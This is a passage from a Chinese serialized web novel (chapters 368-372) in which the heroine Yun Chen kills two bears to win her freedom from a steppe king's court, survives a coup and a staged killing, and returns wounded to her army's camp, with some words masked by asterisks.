说是逞英雄,不过是为了保护唯一的弟弟罢了。
若说荣江轻易战死,荣易不信。
可若说是为了烧粮仓,为了护霍乾念逃离,荣易信!
荣易重重在地上磕头,哽咽道:
“对不起......霍将军......我不该疑心你......谢谢你将我哥哥带回来......”
“是我的错。”霍乾念坐起身,罕见地收敛起平时严峻的样子,目光平和,甚至有些蔼然,失落地看着荣易,“是因为那些信。还有义军的夜行飞翼。”
荣易猛然抬头,惊讶极了。
他没想到霍乾念其实什么都知道!
霍乾念再度苦笑:“你们猜疑的没错,让暴风带走的那几千封‘伏乞苍生’的求援信,信纸的确是我一早就命人备下的——两年前就备下。从狮威军出征以来,随军粮草库中一直保持存有三车草纸,不信的话,你可以去问问管库的仓官杜意枫。虽然在固英城那时,已没剩多少。”
“什么意思?”荣易没有懂。
一旁的不言露出看傻子的表情:
“三车,一车一百捆,一捆三千张,整整三十万张信纸。”
荣易震住:“是为狮威军备下的遗书信纸……对吗?”
原来从组建狮威军的那刻起,霍乾念就抱定了以身殉国的信念。
那草纸是他留给每个将士在世上最后的退路。
可荣易却要用一己之私去质疑。
再想到霍乾念早就知道他心有顾虑,却还次次委以重任,此等胸怀和信任却全被辜负,最后的结果便是害了云琛,荣易愧悔难当,恨不能一头撞死当场。
看出荣易情绪,不言一肚子气消下去不少,但还是忍不住多骂几句:
“还有那夜行飞翼,你怀疑也是我们一早备好的?可笑?那全是霍帮堂口紧急从库房调配的布,两天两夜,霍帮几千个堂口伙计不眠不休才做出来的!
那执行空投的人,全是义军里最精干的,即使这样,没有经过训练,也是死一百个人才能成功一个!不信你还是去
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问杜意枫,这些事他统管,他都知道!”
沉默良久,荣易将腰间象征副将身份的令牌摘下。
他起身直视着霍乾念,神情无比郑重。
“将军,我对不起你,这副将之位我不配。从现在开始,我做什么都与你无关,乃我一人所为。倘若能侥幸活下来,从经往后,我荣易唯你马首是瞻,赴汤蹈火在所不辞!!”
说罢,荣易扭头冲出帐篷。
“你要干啥?!”罗东东察觉不妙。
云琛不在,没人能管住荣易这个冲动起来捅破天的家伙,罗东东赶紧追了上去。
……
……
另一边,洛疆王庭内。
一切婚礼事宜都已准备妥当,欢快的鼓乐响彻王庭。
云琛被装扮成华丽的洛疆新娘,由一群侍女们簇拥着,高坐在婚席正位之一,接受着官员宾客们的祝贺。
她面无表情,不哭也不笑,叫另一个位置上的熊顿眉头紧皱。
当知道父亲阵亡的消息后,她竟没有像熊顿预料的那样崩溃哭闹,打砸发泄。
她只是怔怔地在原地站了很久,对着楠国的方向深深磕了六个头,然后便一言不发,不再对周遭一切做出反应。
这样的云琛,让熊顿既心疼又担忧。
他没想到楠国公主竟然如此无情,对于这样浑身战伤、每一道疤痕都是为国家而留的功臣,竟然说抛弃就抛弃。
同时他更担忧云琛的状态,像是看着一座随时会喷发的火山。
她越沉默,他越感到不安。
熊顿突然觉得他太高估自己了。
不,是太低估云琛。
这不是一个他可以驾驭的女人。
也许这世上根本没有任何男人能驾驭她吧……
与其如此,不如成全。
想到这里,熊顿终于下定决心,他抬手制止喧闹的宫人和乐声。
在全场所有宫人、宾客和守卫们的注目下,熊顿问云琛:
“你想回楠国吗?”
云琛轻轻点头,“想。”
“哪怕楠国放弃你,你那公主如此弃忠臣,你还是想要回楠国吗?”
“想。”
“继续为抛弃你的国家战斗吗?哪怕牺牲?”
“对。”
“为什么?”
云琛愣了一下,一阵激流涌上心头。
到此刻,她终于明白了霍乾念的那句话。
她站起身,目光扫视全场,最后落定在熊顿身上,但熊顿能感觉到,她并不是在看自己。
她的每一个字都那么轻,却如惊雷贯耳,撼动着人心:
“因为我的国家从来不姓‘南’,而姓‘民’。”
第368章 决斗
辉楼高万丈,不敢忘顽石。
人们常常留恋故土,那一花一草、一起长大的脚步、扶持走过的夜……全都刻在血脉里,成为生命的一部分。
没有人生来无所畏惧,不过是拥有的爱越多,铠甲便越坚固。
最后,铠甲最坚固的人站出来,与这世界的黑暗战斗。
草原广阔又美丽,但留不住向往天空的灵魂。
熊顿知道,他不可能禁锢云琛一辈子。
漫长的几十年,只要有一次放松警惕,云琛定会如飞鹰展翅,决绝离去。
不如就此放手,不将她当作一个女人,而当作可敬的对手。
熊顿命人抬上云琛遗失在雪中的剑,指着全场对她道:
“我可以放你走,以洛疆对待勇士的最高敬意——由你亲自挑选一位勇士决斗,杀了他,你就可以离开,若**,你就永远留下来——我说的是永远,生或死,都留下。”
在熊顿的示意下,宫廷侍从捧上一盏用人头骨做的酒碗。
盯着那酒碗,云琛很清楚,在熊顿对她终止男女情意的那一刻,她就必须要靠自己走出这里。
否则下一个被做成酒碗的,也许就是她的头。说不定熊顿还会好好珍藏起来,将来带进他坟墓里去。
想到这,云琛提起头颅酒碗,仰头干掉酒。
“好,我同意。”
婚席突然变成决斗场,全场哗然,议论纷纷。
一个身材壮硕的洛疆勇士上前,捶着胸口向云琛毛遂自荐:
“云将军,我愿意做你的对手,你可以选我!”
有一个人带头,其他洛疆勇士也纷纷站出来,表示愿与云琛决斗,场面顿时热闹起来。
云琛环顾每个人,皆一脸真诚,毫无惧色。
洛疆勇士们视荣誉比生命更重要。
打赢了离开,远比直接放她这敌国大将走,更让洛疆人心服口服。
云琛知道洛疆风俗如此,勇士们全都不怕死,并以决斗为荣。
可她真的有些倦了。
她不想再**。
她大声问:
“洛疆第一勇士是谁?我想见一见!”
熊顿由衷感到佩服。若云琛耍个滑头,故意挑个比她弱的来比试,也没人会说什么,只当她离开心切。
可她却要挑最强的对手,以此真心回馈洛疆待她如上宾。
一个差不多和熊顿一样大块头的勇士站出来,大吼一声,准备上场。
云琛却道:“且慢。”
她请熊顿帮她翻译,问问那洛疆第一勇士的最强战绩是什么?
熊顿说:“不用他告诉你,我知道。他可以一次打趴一百人的小队,还曾在林中用弯刀单杀过一头成年黑熊。”
云琛了然,“好,给我一把**,我要与两头黑熊决斗。”
熊顿沉默了,无意识地攥紧拳头,而后将云琛的话用洛疆语说出来,立刻引得全场惊叹。
就连那洛疆第一勇士都瞪大了眼睛,感到不可思议。
云琛并不管这些,她将头上繁重的牛角盘头取下,重新梳头束发,而后脱下厚重的婚袍,只留下两件单衣,恢复原本清瘦的模样。
“你确定不用你最趁手的剑?”熊顿皱眉问。
“我确定。”她说:“你的第一勇士用弯刀,我就用**。他杀一头黑熊,我就杀两头,这样就算我赢了他,赢得公平。”
停顿片刻,熊顿眉头拧得越来越紧,将贴身佩了十几年的**抛给她。
她抬腕接住,朝他露出个真诚的浅笑。
那一刻,熊顿有种终
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于被这女人认可的感觉。
熊顿不再多言,示意守卫去兽园牵熊。
等待的间隙,云琛开始回忆在东炎杀熊的经历,仔细回想熊的缺点和破绽,她决定还是用以前的招式,先攻眼睛,再攻喉咙。
在全场沸腾的欢呼声中,两头黑熊被关在笼子里,推入场中。
云琛信心满满地抬头望去,立马就在心里给了自己一个大耳刮子。
怎么就忘了洛疆人体型超出常人!熊也一样啊!
眼前两头黑熊,显然比她之前杀过的那只大两倍不止!
而且处于冬眠期的熊,就像通宵过后刚睡着又被喊醒,一肚子起床气,脾气暴躁,杀伤力也更强。
周围的洛疆人全在为她呐喊助威。
她抹了把头上的汗,心说气氛都烘到这份上了,不上也不行吧?
她朝同样呐喊加油的洛疆第一勇士竖了下大拇指,表示他这名号货真价实,绝对不是虚的,而后扎开马步,摆出杀斗准备。
两头黑熊慢悠悠从笼中走出,张着熊口,发出震慑的低吼。
云琛在两头黑熊之间来回打量,想先挑其中一只下手。
结果还没挑好,两头黑熊看对方不顺眼,先打了起来。
它们用两只有力的后腿站立起,身躯庞大但行动敏捷,一边嘶吼,一边挥动熊掌。
两头巨物“砰砰”相撞,惊得大地都在颤动。
围观的人们吓得后退好几步,唯恐避得不够远。
看着两头起床气都不小的黑熊,云琛瞅准时机轻功而上。
她飞鸟般轻盈跃起,跳上其中一头黑熊的脖子,狠狠一刀**熊眼,惹得熊剧痛挣扎,愤怒地挥动熊掌,朝她后背抓去。
一瞬间,所有人的心都提到了嗓子眼。
第369章 杀了他,放你走
独眼黑熊挥动熊掌,抓向云琛后背。
她耳朵早已听到熊掌风声,迅速后仰空翻,轻盈落地,接着立刻蜻蜓点水般弹起,跃上另一头看热闹的黑熊后背,一刀划破其后脖颈,趁其抬爪之前远远撤开。
这一套动作行云流水,从容不迫,看得周围叫好连连。
被云琛这么一折腾,两头黑熊也不互殴了,咆哮着向她冲去。
凭借身材灵巧的优势,她带着两头黑熊在场中兜圈子,一边跑,一边心中暗自计算:
攻击眼睛,伤害容易,杀死很难,还是挑断后颈更快。
根据刚才的手感估计,熊皮粗糙厚实,差不多六刀才能得手。
她还需要迎着两头黑熊的愤怒至少跳跃十二次!
太慢了!不行!
好在黑熊不是擅长围猎的群居动物,只是一起从后追着她,不懂前后夹击。
瞅准时机,她猛地掉头回冲,从独眼黑熊胯下滑过,抓住它熊皮,漂亮地翻转飞起,朝后颈刺出狠狠一刀,同时借力弹跳,跃上另一头黑熊刺出。
接连两次得手,她信心倍增,两头黑熊却成倍暴怒,张开巨大的熊口,疯狂嘶吼着向她扑去。
场地太小,她方才进攻后已被逼到角落,本想快速跳出死角,却不料两头黑熊并排扑来。
她略一思忖,随即眼神发狠,迎着独眼黑熊的脑袋冲上前,结结实实挨了一爪。
她整个人被拍飞,重重落在地上,鲜血瞬间湿透衣服,在雪地上氲开刺目的红。
当独眼黑熊冲天嘶嚎,开始像没头苍蝇一样奔跑乱撞,人们才发现它另一只眼睛也被戳瞎了。
两头黑熊都陷入癫狂暴怒。
瞎眼黑熊踉跄跌坐在地上嚎叫,另一头黑熊则朝云琛狂奔而去。
眼见云琛趴在地上,迟迟不动弹,高座上的熊顿猛地站起来,紧张地望向场中。
云琛安静装死,感觉到地面“咚咚”震动,越来越近。
估摸好时间和距离,在黑熊扑过来的一瞬间,她突然弹跳乍起,一头扎进黑熊怀里,**深深**熊颈。
她翻身骑上熊肩,两腿箍紧,一只手的手指死死**熊眼,借力抠住整个熊头,另一只手握住**,全力向横拉扯。
熊皮太厚太难割,她使出浑身力气,爆发出“啊——”的一声呐喊。
一瞬间,黑熊像被定格一样地愣在原地,两只爪子挥动的幅度越来越小,接着缓缓倒地,发出“轰”的一声巨响,激起雪地白茫茫。
当雪花落下时,人们只见一道血影立在场中,脚下是一条鲜血汇成的刺目“红绸”。
云琛累得剧烈喘息,身子微微佝偻。
她的小腿、肩膀、后背和腹部,全都是深深的抓伤,手中的**已经卷成麻花,用力的右手虎口崩裂,食指以奇异的方向后弯折。
她握住食指,努力抑制住颤抖,“嘎嘣”一声,将食指掰正。
这一幕惊呆了所有人,全场鸦雀无声。
就连熊顿都呆住了,喃喃道:
“疯子……不要命的疯子……”
用身体硬抗黑熊的攻击,以此换来进攻的机会。
但凡她有一点点害怕、迟疑、击偏,都会直接丧生熊口。
这胆识已不是过人二字可以形容,简直猛如煞虎,看得所有人头皮发麻,有种跪服的冲动。
在全场目瞪口呆的注目中,她走向另一头双眼已瞎,正在原地嚎叫乱舞的黑熊。
她轻轻跳上熊背,以最快的速度将刀刃伸进它后颈,用力一挑,终止了这庞然大物的痛苦。
两头黑熊从出场到倒下,不过短短一刻钟的时间。
婚席上的菜都还没凉透,云琛就完成了洛疆第一勇士都难以达到的双杀。
亲眼见到斯文的、甚至笑得阳光腼腆的云琛,是如何瞬间变身修罗,残暴杀死黑熊,人们终于明白了“云琛”这个名字的分量。
熊顿站起身,正色看向云琛,发自内心地对她说:
“云将军,你是勇士。你赢了。”
云琛累得说不出话,将**扔回给熊顿,一瘸一拐地上前拿起自己的剑,然后头也不回地往外走。
四周开始响起掌声,很快变成掀翻屋顶的欢呼喝彩。
云琛隐约听见,熊顿在背后郑重地说:
“云将军,你真**帅!”
云琛咧咧嘴,没有回头,心里却后悔:
是帅!但也冷啊!妈的光顾拿剑,没拿棉衣!
她有点想回头去拿衣服,身体比面子重要不是?
可身后突然爆发出更大的叫喊声。
她只能硬生生忍住,对自己说:
真英雄从不回头捡棉衣!
内心纠结中,她已哆哆嗦嗦地走到宫门口。
大门没有开,她终于找到借口回头
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——
骇然看见人群惊叫逃窜,王庭的亲贵大臣们全都被一刀割喉,趴在酒桌上抽搐。
熊顿后心插着一把短刀,尸体被面朝下扔在黑熊旁边,一个与他容貌相似、气质暴戾的男人取而代之,笑得放肆,正站在王座上。
头曼王爷。
这个本该被关押在牢里的家伙,此刻鸠占鹊巢,踏上了洛疆王的宝座。
头曼拔出熊顿后心的**,走到酒桌旁,也不擦血迹,直接用**尖挑起一块肉吞下,朝云琛诡秘一笑,用不太标准的楠国语道:
“这蠢货如果不说娶你,也许还能多活些日子。本来计划在你们成婚那天,给你们敬酒时候动手的。这下更好,欢呼声足够掩盖我的兵冲上来的动静。多谢你了,云将军。”
云琛僵站在原地,浑身是伤又精疲力尽。
她已无法对眼前突如其来的宫廷惊变作出反应。
她看向熊顿的尸体,眼神有一瞬间的黯然,接着立刻收敛心神,冷冷开口:
“你要继承熊顿的国家,继承他的百姓,希望你同样继承他的承诺。我赢了,放我走。”
头曼把玩起手中**,饶有兴趣地打量云琛。
“好啊,再杀一个人,我就放你走。”
云琛有点不耐烦了,语气已极其不爽:
“你们还有完没完?!我怎么知道你说话算不算数?”
一个连亲兄弟都可以杀的家伙,云琛不认为头曼有信誉可言。
看穿她的想法,头曼也不介意,他示意亲兵将所有闲杂人等和尸体都拖下去,只留寥寥几个守卫在场。
原本热闹的场面霎时变得清冷。
两个亲兵从后方拖出一个盖着布的大狗笼,头曼走过去,用**轻敲笼子,露出一个狡猾又残忍的笑容:
“杀了他,我立刻放你走。以我洛疆王的名义发誓,我会用这第一道王令许你离开!”
云琛没有立即答应,她盯住铁笼的盖布,心里莫名发慌。
人为刀俎,我为鱼肉,除了答应,她没有其他任何选择。
“好。我信你一次。”她努力忘记身上的伤痛,握紧手中剑,再次摆出杀斗姿态。
头曼随即抬手扯下笼布——
一张熟悉的面容出现在云琛的视线。
颜十九抬起英俊却满是伤痕的脸,朝她惨笑起:
“小云云,好久不见。”
第370章 杀死颜十九
当颜十九出现在眼前,云琛愣了片刻,缓缓收起战斗姿态,心疼地望着他。
人高马大的颜十九,被赤身塞在一个狭小的狗笼子里,蓬头垢面,满身都是狗牙咬痕。
他看起来比南璃君稍微好一些,但身上也几乎没有一块好皮肉。
可他好像根本感觉不到疼,一见到云琛,就像孩子似的开心笑起:
“这么久没见,想我了没?梦到我了没?”
云琛没有玩笑和敷衍,点点头:
“恩。都有。”
颜十九笑得愈发高兴,而后眉头微皱,剧烈地咳嗽一阵,捂着受伤的腹部缓缓倒在笼边,再也说不出话,只能朝她有气无力地惨笑。
云琛下意识上前一步,四周的守卫立刻拔刀相向。
头曼王爷的脸上扯起不怀好意的笑容:“杀了他,我立马放你走。”接着示意旁边的亲兵牵来一匹黑马,继续道:
“我说话算数,杀死他,你回楠国,我用他的头做酒器。”
云琛没有说话。
两个守卫将颜十九从狗笼子里拖出来,扔在地上。
那个阳光帅气的贵公子,此刻如同一条被剥了皮的流浪狗,瑟瑟发抖地蜷成一团。
云琛这才发现,他大腿上有好几处狗咬的血洞,血和泥土混合在一起,已经结冰。
颜十九躺在雪地上,眉头皱着,眼睛却带着笑意:
“小云云,来吧,我保证不反抗......”
头曼继续在一旁煽风点火:
“杀了他,我立马放你走,给你马,给你粮食。这里全都是我的亲兵,我保证这件事不会传出去,绝不影响你的声誉。来吧,云将军,你**无数,也不差这一个。”
良久的死寂过后,云琛提着剑,缓缓走到颜十九面前。
颜十九仍旧在笑,星眸柔软地看着她:“动手吧,我不怪你。二选一,我一定选你活下去。”
云琛依然没有说话,只是轻轻摇头。
她“咣当”一声扔下剑,解开已血迹斑斑、全是熊爪痕迹的单衣,披在了他的身上。
她卸下剑,也卸下所有防备,完全不在乎头曼或是谁来偷袭她,将后背暴露给敌人,怀抱留给颜十九。
“颜十九,我陪你。”她坚定地望着他,“生也好,死也罢,你杀我逃走也行。总之,我做不到杀朋友。”
一瞬间,颜十九的瞳孔骤然紧缩,直勾勾盯着她的脸,试图从上面找到一丝欺骗的痕迹。
“杀朋友”三个字,好像被他的大脑自动忽略了似的,他满心想的只有——
云琛是真的爱我,她愿意陪我一起死。
颜十九的胸口剧烈起伏,像是有什么东西要从中喷薄而出。
他几乎要用尽全力才能忍住胸口激荡翻涌的情绪,轻笑一声:
“瞧,还说你不爱我?你爱我的,我知道。”
云琛无奈笑了一下,“既然都要死在一起了,保不齐还要被做成一对头颅酒器,你说什么便是什么吧!”
说罢,她转身挡在颜十九身前。
头曼笑得愈发诡异,嘴巴像鸟一样嘬起,吹了个响亮的口哨。
十几条恶犬从四面八方冲过来,对着头曼摇头摆尾地示好,不停地趴胯在地上摩擦扭动,看得云琛作呕。
头曼扔下一把短刀,“那就让我的爱犬们饱餐一顿吧。”
话音落下,狗群争先恐后地向云琛和颜十九扑去。
她心中哀叹一声“我他妈是打仗的兵!又不是野生动物贩子!一会儿熊一会儿狗!没完没了!”而后飞快地拾起短刀,与狗群厮杀在一起。
方才与黑熊的决斗已经耗费掉她所有体力,身上的伤口全都露着皮肉,还在流血。
此刻她真的没有力气再打了,两眼不住发黑,被拖在狗群里天旋地转,爬都爬不起来。
很快,狗群占据上风。
两条狗分别左右咬住她小腿,向两边扯去,其他狗则流着涎水,蜂拥向她胯下冲去。
这时,冲在最前面的一只狗忽然哀嚎倒下,颜十九不知道哪来的力气爬起来,竟用嘴死死咬住狗后腿,试图阻止它再攻击云琛。
有了新的攻击对象,狗群立马狂叫着转向颜十九。
云琛见势不妙,赶紧用最后一点力气翻身而起,扑挡在他的身上。
由于她扑过去的速度太快,再加上狗群阻挡了视线。
颜十九恍惚张开怀抱去接她,方向有点偏,在接到她的同时,手非常“不小心”地迎上她前胸,隔着薄薄的衣服——
握住了某只柔软的东西……
他下意识感叹了句“唔……好软”,接着立马挨了个大嘴巴子。云琛死死趴在他身上抵挡狗群的攻击,嘴里不忘骂道:
“颜十九!我剁了你的爪子!”
他暧昧笑起来,“哪一只?摸到的那只,还是没摸到的那只?”
未等云琛再骂,下一刻,在狗群撕咬上来的最后机会,他揽住她的腰,握住她的手,狠狠用力抱紧。
头曼立刻吹响口哨,制止了狗群,世界一瞬间恢复冰冷和安静。
再也没有漫天臭烘烘的狗**,撕破耳膜的嚎叫,只有一股温热慢慢浸透云琛的衣衫,染红了她的前胸。
她右手的**已深深没进颜十九的胸口。
他缓缓松开她的手,用力推开她,口中吐血不止,脸上却露出个破碎又温柔的笑容。
“云琛,走吧……”
他松开所有力气,彻底瘫倒在雪地上,一双星眸慢慢涣散,却仍痴痴望着她。
他已经发不出声音,血一大口一大口地喷在地上,只能用口型说着:
走吧,我不怪你。
不知是不是她的错觉,他的口型太微小,说的好像不是“不怪”,而是“爱”。
云琛呆呆后退两步,继而跪伏在地,开始剧烈地呕吐。
血水、酸水、眼泪,混合在一起,她吐得胃都痉挛剧痛,牙齿不住打颤。
杀伐里来去千百回,剑下亡魂无数,但颜十九是她第一个亲手杀死的朋友。
见她崩溃至此,头曼忍不住哈哈大笑。
可笑着笑着,他就笑不出来了。
云琛擦去眼泪,拿起剑,重新站了起来。
她用一双黑白分明的眼睛死死盯着头曼,令他感到一股从未有过的寒意。
那一瞬,头曼第一次有种人头已高高悬起的恐惧,他好像有种预感,他早晚会死在云琛手中。
头曼用眼神示意守卫戒备,所有守卫立刻团团将他围护住,警戒地
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看向云琛。
凭眼前守卫们的人影来来**,云琛的眼睛自始至终盯死头曼,不移分毫。
头曼感觉像经历了一个时辰那么长的时间,云琛才终于收回视线,垂眸看了颜十九的尸体片刻,而**紧拳头,翻身骑上黑马,向王庭城外奔去。
马蹄声渐行渐远,头曼搓了搓脖子上的鸡皮疙瘩,忍不住砸吧两下嘴:
“这女人太厉害了。”
头曼这句话是用楠国语说的,守卫们没有接话,四周只有狗群狂吐舌头的急促喘息。
见无人回应,头曼又道:
“你还不起来吗?地上不凉吗?”
沉默片刻后。
地上的颜十九发出一声满意又舒服的叹息,伸了个长长的懒腰,一扫“尸体”的模样,身手矫健地翻身而起,潇洒地掸去肩头的雪沫。
接着,三道身影如鬼魅般突然出现,万宸和两个暗卫急忙送上狼皮大氅和疗伤药。
一番收拾和疗伤过后,颜十九恢复成洁净如新的模样,除了胸口避开所有要害的刀伤还在流血,仿佛刚才的一切都没有发生过。
头曼对一切见怪不怪,从认识颜十九以来,他就知道这厮是个十足的狠人,对自己下手跟对敌人一样狠。
只是做戏而已,他却刀枪棍棒,统统叫暗卫万宸往他身上招呼,还杀了头曼一条狗,专门拿狗牙做出咬伤。
整个过程,头曼从旁看得呲牙咧嘴,颜十九却面色不改,甚至目光隐隐兴奋,像是特别期待的样子。
这让头曼这个残暴惯了的家伙,都忍不住在心里暗骂一声“真变态”。
但变态归变态,头曼很中意颜十九这个盟友,若不是颜十九,他怎能成功偷袭北伐军,又怎能抓住南璃君泄愤。
只怕他得熬到熊顿老死,才能坐上洛疆的王位。
如今**成功,熊顿已死,整个洛疆都是他的,头曼心情大好,笑道:
“颜十九,你赌输了。”
颜十九挑眉未应,倚靠在酒桌旁,嫌弃地拨拉着上面的“婚菜”,将几块冷肉挑出来抛给狗群。
狗群蜂拥而上,挤在颜十九腿边摇尾巴,也好似会变脸一样,再没了之前呲牙咧嘴的攻击性。
头曼知道,不是他的狗会演戏,而是颜十九演得太好。
从一块任人宰割的可怜兮兮的“白肉”,到喜怒无常笑中带杀的王,他实在都太擅长。
颜十九吊儿郎当地晃悠着脑袋,“我怎么输了?”
头曼笑道:“先前我们打赌,赌你‘**’之后,你的女人会不会回头,我刚才看得很仔细,她一路直奔城外,根本没有回头。所以你输了,掏钱吧,一锭金子,别赖,我要收藏起来。”
颜十九鼻子里冷哼一声,从万宸身上摸出一锭金子,抛给头曼。
头曼得意地打量金子,又道:
“你输得很正常,这女人看起来就是个绝不回头的人。就算你再从暴风雪里救她一万次,抱着她在雪池里泡一万次,都是一样的——
哎对了,那黑马的钱你还没给我呢,你知道我那马多贵吗?十**挑一,我还一天没骑过呢!”
颜十九笑笑不说话,拔过万宸腰间**,一刀捅**离他最近的一条狗。
第371章 **
另一边,楠国大军营地内。
一大群狮威军手持刀枪,将南璃君的公主帐团团包围,大声高喊着“还我玄威!”
段捷与一众北伐军将士护卫在帐子四周,试图安慰这些已愤怒到失去理智的家伙。
段捷对最前面的荣易道:
“兄弟,我知道你委屈,咱们放下刀慢慢说!”
荣易朝地上啐了口唾沫,用刀指着段捷:
“别他妈喊我‘兄弟’,是‘兄弟’就记得我们老大怎么拼命救你们出王庭!让开!我要见公主!”
旁边的罗东东大喊:“就是就是!”
周围的狮威军将士群情激愤:
“我们要见公主!把老大还给我们!”
“将军被送去和亲!脸都他妈丢尽了!还谈个屁‘兄弟’?!”
狮威军将士们吵吵嚷嚷往前挤,根本不给段捷多一句说话的机会。
北伐军将士们全力阻挡,一开始还是好言相劝,但随着声音越来越大,两边人情绪都越来越激动,随时有要爆发械斗的可能。
段捷大急,直接握住腰间佩刀,冲荣易怒喝:
“荣易兄弟!你这是**!你想过后果没有?按军法!我现在就能处置你!”
荣易怒极而笑:“早知如此,就应该让你们烂在王庭当俘虏!就不会有祸害我们老大这一天!”
罗东东又附和:“就是就是!”
荣易越说越有火,接着道:
“按军法?老子已经请辞了!现在不是兵,你奈我何?!有本事杀了我们所有人!去**‘兄弟’!”
说着,荣易一刀背砍在段捷头上,登时打得段捷血流如注,踉跄后退好几步。
自家将军被打,北伐军将士们也急了,怒吼着就要动手。
眼看两方大战一触即发,将要酿成自相残杀的可怕后果,段捷爆发出一声如雷大吼:
“都给老子住手!!!”
所有人都被这气势雄浑的一声给震住了。
段捷捂着血流不止的脑袋,身子打了两晃才站稳。
他上前摁住荣易肩膀,努力抑制怒气,用平和的声音恳切劝道:
“兄弟,我知道你不怕死,狮威军,北伐军,全都是不怕死的好汉!但你这么闹没有任何用!见了公主又如何?公主收回成命又如何?云琛还是在王庭里困着!你方向不对啊!”
荣易愣住,随即明白了段捷的意思,立刻和罗东东招呼所有狮威军:
“兄弟们!列队集结!咱们救老大走!”
“好!!”
在荣易的指挥下,狮威军离开公主帐,立刻整装集结。
将出营门时,一直对帐篷外面一切充耳不闻的南璃君,却叫段捷向狮威军传达她最新的命令。
段捷顶着包扎成粽子一样的脑袋,一脸纠结地看着狮威军,艰难开口:
“公主有令,狮威军一刀一枪皆是军饷,既私自出营寻战,便不可用朝廷供养,不得带任何军中物资走。”
好一个釜底抽薪!
好一手小人伎俩!
不拿武器怎么打?就是站在王庭城门口又能如何?
荣易冷笑一声,扔下战刀,脱下铠甲,只拿着自小傍身的**,拍拍座下马。
“**是我荣家的,马是云老将军捐赠的,这些都和朝廷没有一文钱关系!可以了吧?!”
段捷重重叹气,想再劝两句,却见其他人也都纷纷脱甲卸剑。
狮威军们穿着
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没有防护的普通冬衣,在荣易的带领下驾马绝尘而去,只留给段捷和北伐将士们一屁股尘土。
北伐将士中,有人低声骂道:
“跟人家一比,咱们真**窝囊!”
……
……
话说狮威军们策马出营。
荣易等手持短刀或**,正向王庭飞奔之际,远远瞧见一匹黑马朝营地跑来。
罗东东伸长了脖子,仔细瞅:
“纯黑色的马?好像是老大的水中龙!怎么才几天功夫,就吃得这么肥壮?”
荣易眯起眼睛打量,随着黑马越靠越近,这才看清那并不是水中龙,而是一匹少见的洛疆高原马,吞云兽。
此马种高大矫健,浑身肌肉壮硕,鸣声如雷吼,跃起时有吞云吐日之雄风。
但可惜性情乖戾难以捉摸,无法用于骑兵团的大规模豢养。
吞云兽多以棕白二色为主,这种浑身漆黑发亮的,可以说是十万无一。
第一次见到这种罕见好马,荣易和罗东东不禁仔细相看,对着吞云兽品头论足一番。
“瞧那眼睛多灵光,一看就是通人性的好马!”
“皮很漂亮!不输水中龙!”
“胸膛很宽,鼻孔大,跑起来绝对带劲!”
“背也很阔,那背……哎?背上好像有个人?”
“好像是……老大?”
待吞云兽慢慢走近,二人终于看清,瞬间瞪大眼睛,失声惊叫:
“操!是老大!!”
将士们一拥而上,兴奋地喊着“真是老大!老大回来了!”但当冲到黑马面前时,又全都呆住了。
只见云琛浑身血肉模糊,一动不动地趴在马背上,宛如一具血红色的冰雕。
第372章 青刃(上)
楠国有史以来的第一场正规军**,一场后果不可估量的祸事,在云琛出现的这一刻戛然而止。
荣易和罗东东用披风将云琛捧着,和七八个将士一起将她高高抬起,飞奔着穿过人群,接受所有人震惊和心痛的注目。
什么话都不再多说,荣易执拗地用这种方式让所有人都知道:
瞧瞧她干了些什么!
云琛被抬进霍乾念的将军帐。
叶峮和不言惊叫着去打水,荣易和罗东东营地飞马,将四个军医拖进帐篷。
其他人则喊医女的喊医女,生火的生火,架屏风的架屏风。帐子里乱成一锅粥。
云琛身上的伤口全部和破碎的单衣粘在了一起,医女只得用剪子将衣服剪开,叫所有男人们都退出内帐。
不言也被赶了出来。
他和叶峮、荣易他们一样,退到外帐焦急地等待。
所有因云琛回归的狂喜,此刻全都变成了恐惧担忧。
和云琛一起出生入死这么多年,不言还是第一次见到她浑身发青,碰着一点温度都没有。
不言突然想起荀戓,小六,想起花绝,接着心里莫名忐忑发慌,直到一只手从帐帘侧面伸进来,悄悄拽了下他的袖子。
因为太沉浸于某些不好的想象中,不言被拽得吓了一跳。
他惊讶地回头,从帐帘缝隙看到半张陌生秀气的脸,正用口型对他说:
“随我来”。
不言在脑海里翻找一番,他想起这人好像是南璃君身边的宫女,一同从王庭俘虏营救出来的。
不知南璃君的宫女怎么会这时候来找他,而且还偷偷摸摸的。
不言看了圈帐篷里的人,全都一副沉痛的表情,显然没心思顾其他,他便没有禀告,悄声随宫女来到公主帐。
“草民不言,叩见公主殿下。”
不言叩首行礼,余光习惯性打量四周。
南璃君的帐子很大,陈设却很少,有一种说不上来的空。
他仔细瞧了瞧,是只有一层帐篷布的缘故。
其他将军主帐里,因为帐篷布太单薄,都会从内里用兽皮再糊两层,防风又暖和,但南璃君的帐子里却没有。
而且床榻上也没有兽皮毯,连个羊皮都没有,只在木板上铺着两层褥子,不言看着都觉得冷。
“起来吧,不护卫,以后你都不用行礼的。”南璃君的声音打断不言的思绪。
啥叫“以后都不用?”
不言再次叩首谢恩,还没来得及细想这话什么意思,却见那绝世美人素白单衣,独坐在火炉旁,连件**披风都没有。
南璃君朝不言温柔笑笑,招招手:“上前说话吧。”
不知南璃君为何突然这么亲切,不言听命上前,却不离得太近,只规矩又有余地地在火炉另一边站好,垂眸不去多看。
见此,南璃君脸色一白,竟有些局促地抱了抱胳膊,表情不自然地问:
“怎么不上前来?我身上很臭吗……”
不言一愣,下意识抬头与南璃君对视上。
望进那双美丽的、哀怨的、隐隐带着泪光的眼睛,不言心头一动,愣神了片刻。
回想起救南璃君时的情景,不言随即反应过来,为什么这公主帐内不见一块兽皮。
只怕从今往后都不会有。
一切毛茸茸的东西,都会激起她在狗圈里恐怖不堪的回忆。
不言目光落在自己翻毛领的外衣上,说了声“殿下恕罪”,而后退到外帐,飞快地用**将毛领子割掉,才重新回到内帐。
他重新按规矩垂首站好,余光捕捉到某些晶莹的东西从空中划过,坠落进火炉中。
不言没有动,直到听到南璃
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君小声地啜泣起来,他才缓缓抬头。
南璃君抱着膝盖,蜷缩在火炉旁,衣衫单薄可怜,墨色长发披散着,圈起一张泪水涟涟的绝美脸庞。
她哭得鼻尖微微发红,样子看得人心疼极了。
不言眉头不忍而动,开口道:
“殿下,忘了吧,都过去了。当时在场的只有草民。云将军、荣易和三个死士,也不过见到您披着草民铠甲的样子。草民对天起誓,绝不透露一个字。请殿下放心!”
南璃君哭够了,像小猫儿似的用袖子擦擦眼泪:
“我信你。不言,你是我的救命恩人,如果你愿意,我封你做殿前侍卫,好吗?”
